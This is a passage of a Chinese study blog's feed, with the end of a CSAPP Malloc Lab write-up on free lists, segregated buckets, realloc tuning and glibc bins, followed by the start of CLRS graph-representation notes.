Next-fit search */</span></span><br><span class="line"><span class="type">void</span> *<span class="title function_">find_free_chunk</span><span class="params">(<span class="type">size_t</span> chunk_size)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (sentinel_chunk_ptr == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (rover == <span class="literal">NULL</span> || rover == sentinel_chunk_ptr)</span><br><span class="line">    &#123;</span><br><span class="line">        rover = GET_NEXT_FREE_CHUNK(sentinel_chunk_ptr);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">void</span> *start_ptr = rover;</span><br><span class="line"></span><br><span class="line">    <span class="type">void</span> *ptr = rover;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">size_t</span> current_chunk_size = GET_SIZE(ptr);</span><br><span class="line">        <span class="keyword">if</span> (current_chunk_size &gt;= chunk_size &amp;&amp; !GET_ALLOC(ptr))</span><br><span class="line">        &#123;</span><br><span class="line">            rover = GET_NEXT_FREE_CHUNK(ptr);</span><br><span class="line">            <span class="keyword">return</span> ptr;</span><br><span class="line">        &#125;</span><br><span class="line">        ptr = GET_NEXT_FREE_CHUNK(ptr);</span><br><span class="line">    &#125; <span class="keyword">while</span> (ptr != start_ptr);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>以上代码实际上是显式链表后写的。但是无妨</p></blockquote><h3 id="显式链表"><a class="markdownIt-Anchor" href="#显式链表"></a> 显式链表</h3><p>和链表的知识一样,可以向空闲块中的 Payload 区域内放入前后指针,不再赘述.</p><p>区别在于有两种优化方法,将 8 字节的指针改为用 4 字节的 offset 存储:</p><ul><li><p>以 <code>mem_heap_lo()</code> 为基准</p></li><li><p>以当前当前块的位置为基准 (在 <a href="https://github.com/StuartSul/CSAPP3e_MallocLab_Implementation">Github StuartSul/CSAPP3e_MallocLab_Implementation</a> 的实现中由 Gemini 发现)</p></li></ul><p>我觉得显然第一种复杂度低,不考虑第二种(理论上可以但很麻烦吧,难道 Gemini 看错了?不管了)</p><p>这样块的内存布局就分为:</p><ul><li><p>占用块:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">  4 bytes            4 bytes</span><br><span class="line">| Header | Payload | Footer |</span><br></pre></td></tr></table></figure></li><li><p>空闲块:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">4 bytes      4 bytes             4 bytes        4 bytes</span><br><span class="line">| Header | Prev Free Offset | Next Free Offset | Footer |</span><br></pre></td></tr></table></figure></li></ul><p>其中 <code>Prev Free Offset</code> 和 <code>Next Free Offset</code> 分别存储前后空闲块相对于 <code>mem_heap_lo()</code> 的偏移量。</p><p>注意到这样的话，最小块是 16 字节，可承载 8 字节的 Payload，4 字节的 Header 和 4 字节的 Footer， 刚好可以满足 8 字节对齐的要求。</p><p>但这里还有个技巧，那就是实际上 Footer 是空闲块从链表中删除时才需要的，因此只需要在空闲块才写 Footer，占用块的 Footer 可以拿来写 Payload，又节省 4 bytes =-=</p><p>与此同时将第二位 Flag 作为 <code>prev_alloc</code> 用于记录前一个块是否分配，这样在 <code>mm_free</code> 时就不需要通过 Footer 来获取前一个块的占用情况，如果未占用则说明有 Footer， 再进一步读取 size。</p><p>考虑 <code>mem_sbrk</code> 时新增的块要如何填写 <code>prev_alloc</code> 的问题，就会发现需要想哨兵节点一样，在末尾 <code>mem_heap_hi()</code> 前添加一个结尾块 Epilogue Chunk，其大小为 0 且只有 Header，其 <code>prev_alloc</code> 标志位即为末尾 Chunk 的占用情况，这样新增的块可以和其他块一样的逻辑，直接按照下一个块的 <code>prev_alloc</code> 来赋值，注意每次 <code>mem_sbrk</code> 后记得要重新维护结尾块。</p><blockquote><p>注意，这个操作并不能将最小块限制减为 12 bytes，显然空闲块还是需要 Footer 的</p></blockquote><p>实现完如上几个逻辑后，接下来是提高吞吐量的分离链表优化。</p><blockquote><p>注意，可以运用链表的哨兵节点技巧，在 <code>mm_init</code> 时向空闲链表添加一个状态为已分配，Payload Size 为 0 的哨兵块，减少边缘情况。</p></blockquote><h3 id="分离链表"><a class="markdownIt-Anchor" href="#分离链表"></a> 分离链表</h3><p>和哈希表类似的排布，在 <code>mem_init</code> 起始创建 <code>BUCKET_SIZE</code> 个哨兵节点，每个节点对应一个链表，链表内的块大小可以自行按照所需定义。</p><p>比如可以定义为从 <code>SMALLEST_CHUNK_SIZE</code> 开始，每个桶比前一个桶大 8 直到一个阈值比如 96，之后则按每个桶大小较前一个翻倍。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> BUCKET_SIZE 24</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SMALLEST_CHUNK_SIZE 16</span></span><br><span class="line"><span class="comment">// SmallBin 与 LargeBin 的界限</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> BIN_BOUNDARY 72</span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> *bucket[BUCKET_SIZE];</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 混合桶索引计算 (Smallbins + Largebins)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">get_slot_index</span><span class="params">(<span class="type">size_t</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// Smallbins</span></span><br><span class="line">    <span class="comment">// 对于小块，直接按 8 字节对齐划分为 8 个桶 (16, 24, ..., 72)，每个桶内的块大小相差 8 字节</span></span><br><span class="line">    <span class="keyword">if</span> (size &lt;= BIN_BOUNDARY)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span> (size - SMALLEST_CHUNK_SIZE) / <span class="number">8</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// int class_index = BOUNDARY_SIZE / 8 - 1;</span></span><br><span class="line">    <span class="comment">// size_t class_size = 128;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// // Largebins</span></span><br><span class="line">    <span class="comment">// // 对于大块，按 2 的幂次划分</span></span><br><span class="line">    <span class="comment">// while (class_index &lt; BUCKET_SIZE - 1 &amp;&amp; size &gt; class_size)</span></span><br><span class="line">    <span class="comment">// &#123;</span></span><br><span class="line">    <span class="comment">//     class_size &lt;&lt;= 1;</span></span><br><span class="line">    <span class="comment">//     class_index++;</span></span><br><span class="line">    <span class="comment">// &#125;</span></span><br><span class="line">    <span class="comment">// return class_index;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// __builtin_clz 返回输入的前导零的数量</span></span><br><span class="line">    <span class="type">int</span> k = <span class="number">33</span> - __builtin_clz(size - <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">return</span> k &lt; BUCKET_SIZE ? k : BUCKET_SIZE - <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> *<span class="title function_">get_slot_ptr</span><span class="params">(<span class="type">size_t</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> slot_index = get_slot_index(size);</span><br><span class="line">    <span class="keyword">return</span> bucket[slot_index];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中逻辑正如注释部分所见，但是 AI 还给出了个 trick，就是利用 <code>__builtin_clz</code> 来计算大块的桶索引</p><blockquote><p>我本来想不采用，但我记得 Kops 高了整整 1k…就当学到了 =-=</p></blockquote><p>经过尝试后我记得，Best-fit 和 First-fit 在分离链表上的表现差不多，因此没做过多处理。</p><p>但在直接根据 <code>get_slot_index(size)</code> 匹配到的桶里没有合适的块时，可以继续搜索下一个桶，直到找到为止。</p><hr /><p>到此为止如果我没记错的话，会出现 trace 7~10 的利用率都很难看，甚至 OOM 的情况，因此最后的冲刺就得具体分析下测试样例了：</p><blockquote><p>可以较简单的做到 80 分左右，但是继续往上就头大了</p></blockquote><ul><li>1~6 没什么印象了。好像没有什么特殊处理，应该只是考验基础的合并空闲块和分配空闲块（如果只 <code>mem_sbrk</code> 可能会 OOM）</li><li>7/8 为 <code>binary-bal</code> 和 <code>binary-bal2</code>。先交替 <code>malloc</code> 16 和 112，然后 <code>free</code> 所有 112 的块，最后 <code>malloc</code> 128 这种规律，如果不加优化会产生大量蜂窝状的空闲块</li><li>9/10 是专门针对 <code>realloc</code> 的 <code>realloc-bal</code> 和 <code>realloc2-bal</code>。先 <code>malloc</code> 一个大块，然后 <code>malloc</code> 小块，最后 <code>realloc</code> 大块到更略大一点的块，以此循环，如果不加以处理最后会留下很大个空块。(直接 <code>malloc+memcpy+free</code> 的实现会 <code>mem_sbrk</code> 失败)</li></ul><p>针对 7/8，需要在 <code>malloc</code> 时，有”重力“地切割块。具体来说是找到一个大的空闲块之后，如果 <code>size</code> 小，那么将其分配在左侧，切割右侧为新的空闲块；如果 <code>size</code> 大，那么将其分配在右侧，切割左侧为新的空闲块。</p><p>针对 9/10，需要在 <code>realloc</code> 时，需要两种策略：</p><ul><li><p>如果块位于末尾，直接 <code>mem_sbrk</code> 申请额外所需的内存，恰好满足 <code>realloc</code> 的需求</p></li><li><p>如果块的两侧有空闲块，向前扩容或者向后扩容后再 <code>memmove</code></p></li></ul><p>这两个策略的优先级有讲究，可以自行调换尝试，可能会出现 trace 9 达到 99% 但是 trace 10 只有 77% 的情况，反之亦然。</p><p>但我发现 <a href="https://github.com/StuartSul/CSAPP3e_MallocLab_Implementation">Github StuartSul/CSAPP3e_MallocLab_Implementation</a> 的实现可以两个都几乎 100%，它的分割策略要比我的谨慎的多，<code>mem_sbrk</code> 策略也不同：切割阈值为 4096，以及每次 <code>mem_sbrk</code> 的大小也为 4096，当作缓冲块用。而我的切割阈值是大于等于 <code>SMALLEST_CHUNK_SIZE</code>，每次 <code>mem_sbrk</code> 也是按需分配。</p><p>除此之外它还有一个 <code>has_other_free</code> 的 flag 来标志是否有两个或以上的空闲块，如果只剩下最后一个则不合并，让 <code>realloc</code> 直接向上扩容。</p><p>单一修改细节上的策略无法解决 trace 7~10 的问题，必须要一次性分配较大的空闲块，然后在里面进一步优化分配，不能受限于每次都 <code>mem_sbrk()</code>，操作余地太小。</p><hr /><p>它的实现有个缺点在于切割方式过于保守，可能产生大量无效占用，解决方案是将 <code>mem_sbrk</code> 的 <code>EXTEND_SIZE</code> 和切割的阈值分离，有可能找到一对对所有操作都相对较优的取值？（还是尽量不要面向测试设计吧…）</p><p>此外里面还有遍历维护 Large Bin 的缺点，看了下文 glibc Malloc 之后显然可知这是能优化的。</p><p>以及还有微不足道的一点优化空间，即不需要遍历桶来确认 <code>has_other_free</code>，维护一个空闲块数量的全局计数器即可（但复杂度会更高吗？我不好说，毕竟 <code>realloc</code> 才有 <code>has_other_free</code> 的情况，但我最终补上了实现）</p><h2 id="辅助函数"><a class="markdownIt-Anchor" href="#辅助函数"></a> 辅助函数</h2><p>为了方便 DEBUG，可以写一个 <code>mm_checkheap</code> 和 <code>print_heap_view</code>，有助于找出错误和分析内存布局。</p><p>这个就不在这里细讲了，<s>辅助函数用 AI 生成也没啥毛病，还是别折磨自己了</s>。</p><blockquote><p>很遗憾改的天昏地暗，我当时没能记录下来上面那些改动的内存视图，也没精力再回头重走了，只能以经验谈的角度来回顾，没法提供证据…</p></blockquote><h2 id="glibc-malloc"><a class="markdownIt-Anchor" href="#glibc-malloc"></a> glibc malloc</h2><p>我还没来得及取看 glibc 咋实现的，看 <code>-l</code> 吞吐量明显要快得多，但没有显示利用率，暂未对比。</p><p>但 glibc 的分离链表的方式非常细节，分为四种 Bin：</p><ul><li>Fast Bin：Fast Bin 中每个 Bin 固定大小，一般是最小的 16 字节开始步进为 8 字节，是单向链表，不支持合并</li><li>Unsorted Bin：顾名思义，其中的未分类，任何大小都可以放入</li><li>Small Bin：和 Fast Bin 一样但接受的 Chunk 大小更大，但是是双向链表，支持合并</li><li>Large Bin：存储较大 Chunk 的 Bin，内部是有序的，且步进不一定相同</li></ul><p>注意到 Large Bin 是有序的，查了下 glibc 的实现，并非看到有的北大大佬的 Blog 里面手搓平衡树，而是用双重链表达成的高效插入删除：</p><ul><li>相同大小的块通过双向链表连接在一起，形成一个链表</li><li>不同大小的块通过另外两个指针 <code>fd_nextsize</code> 和 <code>bk_nextsize</code> 连接在一起，将前面那个<em>相同大小链表</em>的头节点相连，形成一个有序的链表</li></ul><p>跳转流程部分不再赘述。但是仍然不如 Fast Bin 和 Small Bin 的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 插入删除，所以我猜测 Unsorted Bin 的存在是为了进一步减少释放的大块插入 Large Bin 的次数，让其在 Unsorted Bin 里先等待一下，看看能不能被后续的 <code>malloc</code> 直接利用掉，若不符合条件则延迟归类 Large Bin（当然其他的块也一样，归类回 F/S Bin），又能减少一部分非 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 操作。</p><p>具体细节也许可以参考：<a href="https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/">Understanding glibc malloc</a>，里面还包含多线程之类，关于实际的工程细节。（我没看）</p><blockquote><p>实际上我参考真的了一下之后发现，不仅有点站着说话不腰疼（都是英文），好像还有一点谬误=-=，于是找到了下面这个也许更合适细看的文章</p></blockquote><p>TODO：<a href="https://jia.je/kb/software/glibc_allocator.html">glibc 内存分配器</a></p><hr /><p>基本上以上就是我这几天的记录，具体实现可以查看 <a href="https://github.com/z0z0r4/CSAPP-LAB">z0z0r4/CSAPP-LAB</a>，已转为公开。</p><p>预计不会往下开其他的 CSAPP Lab 了，即将到来的是也许是数据库，也许是 CLRS，也许是钝角。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/05/03/csapp/malloc-lab/</id>
    <link href="https://blog.z0z0r4.top/2026/05/03/csapp/malloc-lab/"/>
    <published>2026-05-03T06:14:01.000Z</published>
    <summary>
      <![CDATA[<p>做梦都是指针和利用率=-=</p>]]>
    </summary>
    <title>CSAPP Malloc Lab</title>
    <updated>2026-05-17T05:12:47.506Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CLRS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CLRS/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CLRS" scheme="https://blog.z0z0r4.top/tags/CLRS/"/>
    <content>
      <![CDATA[<p>这里记录 CLRS 中的基本图算法笔记。</p><span id="more"></span><p>图由顶点集合和边集合组成，写成 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi><mo>=</mo><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><mi>E</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G=(V,E)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mclose">)</span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi></mrow><annotation encoding="application/x-tex">V</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span>是顶点集合，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi></mrow><annotation encoding="application/x-tex">E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span>是边集合。</p><p>其中边用两个顶点组成的二元组表示，比如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi></mrow><annotation encoding="application/x-tex">(u, v) \in E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span> 表示图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 之间有一条边，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 指向 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span></p><h2 id="graph-representation"><a class="markdownIt-Anchor" href="#graph-representation"></a> Graph Representation</h2><p>有两种表示：</p><ul><li>邻接表</li><li>邻接矩阵</li></ul><p>这两种设计在各个操作的差别见 <a href="https://blog.z0z0r4.top/2026/01/18/CS61B-Note-Collection/#graph-representation">CS61B Graph Representation</a></p><p>其中还有 CSR（Compressed Sparse Row）表示，将邻接表压缩到两个数组中，缺点是无法动态添加边，适合静态图的存储。</p><p>表示的不同有不同的算法设计，复杂度也大不相同。</p><hr /><blockquote><p>22.1-3<br />有向图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi><mo>=</mo><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><mi>E</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G=(V,E)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mclose">)</span></span></span></span> 的转置是图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>G</mi><mi>T</mi></msup><mo>=</mo><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><msup><mi>E</mi><mi>T</mi></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G^T=(V,E^T)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>E</mi><mi>T</mi></msup><mo>=</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mi>v</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>V</mi><mo>×</mo><mi>V</mi><mo>:</mo><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">E^T=\{(v,u) \in V \times V : (u,v) \in E\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mclose">}</span></span></span></span>。因此，图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>G</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">G^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 就是将有向图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 中所有边的方向反过来而形成的图。对于邻接链表和邻接矩阵两种表示，请给出从图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 计算出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>G</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">G^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 的有效算法，并分析算法的运行时间。</p></blockquote><p>首先考虑邻接表的，直接按节点获取所有邻居，然后将邻居的边反过来添加到新的图中，时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>V</mi><mo>+</mo><mi>E</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(V+E)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span 